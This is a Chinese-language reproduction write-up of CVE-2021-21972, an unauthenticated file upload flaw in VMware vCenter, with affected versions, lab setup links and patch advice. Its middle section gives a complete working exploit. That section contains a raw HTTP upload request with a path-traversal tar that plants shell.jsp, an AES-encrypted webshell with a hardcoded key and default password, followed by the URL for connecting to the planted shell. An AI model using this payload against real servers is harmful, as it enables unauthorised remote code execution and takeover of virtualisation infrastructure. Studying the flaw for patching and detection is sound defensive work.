Vmware vcenter未授权任意文件上传
(CVE-2021-21972 )
一、漏洞简介
VMware是一家云基础架构和移动商务解决方案厂商,提供基于VMware的虚拟化解决方案。
高危严重漏洞:
在 CVE-2021-21972 VMware vCenter Server 远程代码漏洞 中,攻击者可直接通过443端口构造恶意请求,执行任意代码,控制vCenter。
漏洞为任意文件上传:
存在问题的接口为
/ui/vropspluginui/rest/services/uploadova,
完整路径
(https://ip:port/ui/vropspluginui/rest/services/uploadova)
二、影响版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
三、环境准备&漏洞复现
安装EXSI 7.0.0
VMware vSphere虚拟机监控程序(ESXi)
链接:https://cld16.irans3.com/dlir-s3/VMware-VMvisor-Installer-7.0.0-15843807.x86_64.iso
VMware-VMvisor-Installer-7.0.0-15843807.x86_64.iso档案大小:350 MB
MD5:220d2e87290f50c3508214cadf66b737
SHA1:7fda0401ee1b2f49aae89043f9b2d509cf7e25db
安装:https://blog.51cto.com/10802692/2409826
下载 vCenter Server
VMware vCenter Server
链接:https://cld5.irans3.com/dlir-s3/VMware-VCSA-all-7.0.0-15952498.iso
VMware-VCSA-all-7.0.0-15952498.iso档案大小:6.42 GB
MD5:94bb30ae83cd5f12e2eecce114d43007
SHA1:17aa2b1ee20e977fb4f8f8391563f57c3e456361
安装:https://blog.csdn.net/qq_38028248/article/details/107712839
(环境安装参考来源:作者: print("")师傅环境部署)
midi.tar(后台回复:"vmware")获取
../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/00007550000000000000000000000000140154312100271455ustar rootroot../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/shell.jsp0000644000000000000000000000117114015430711030777 0ustar rootroot<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){returnsuper.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>
https://ip:port/ui/vropspluginui/rest/services/uploadova
Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
返回sucess证明上传tar成功
访问shell地址:
https://127.0.0.1/ui/resources/shell.jsp
连接木马shell:
相关命令执行:
具体细节上传点:包
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: 127.0.0.1
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 10425
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="thelostworld.tar"
Content-Type: text/plain
../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/0000755000000000000000000000000014015431210027145 5ustar rootroot../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/shell.jsp0000644000000000000000000000117114015430711030777 0ustar rootroot<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
四、安全建议
1、升级VMware vCenter Server 与 VMware ESXi 至最新版本。
2、针对 CVE-2021-21972 VMware vCenter Server 远程代码漏洞 与 CVE-2021-21973 VMware vCenter Server SSRF漏洞,可按照 https://kb.vmware.com/s/article/82374 相关措施进行缓解。
3、针对 CVE-2021-21974 VMware ESXI 堆溢出漏洞,可按照 https://kb.vmware.com/s/article/76372 相关措施进行缓解。
参考:
https://swarm.ptsecurity.com/unauth-rce-vmware/
http://www.jsdjbh.gov.cn/tgyj/737.htm
http://blog.nsfocus.net/cve-2021-21972-cve-2021-21974/
https://mp.weixin.qq.com/s/tg64Hy8KECjYPHt98vBLcQ
https://www.o2oxy.cn/3127.html
https://mp.weixin.qq.com/s/q5EGqPNFVxfHgui54cAVuA
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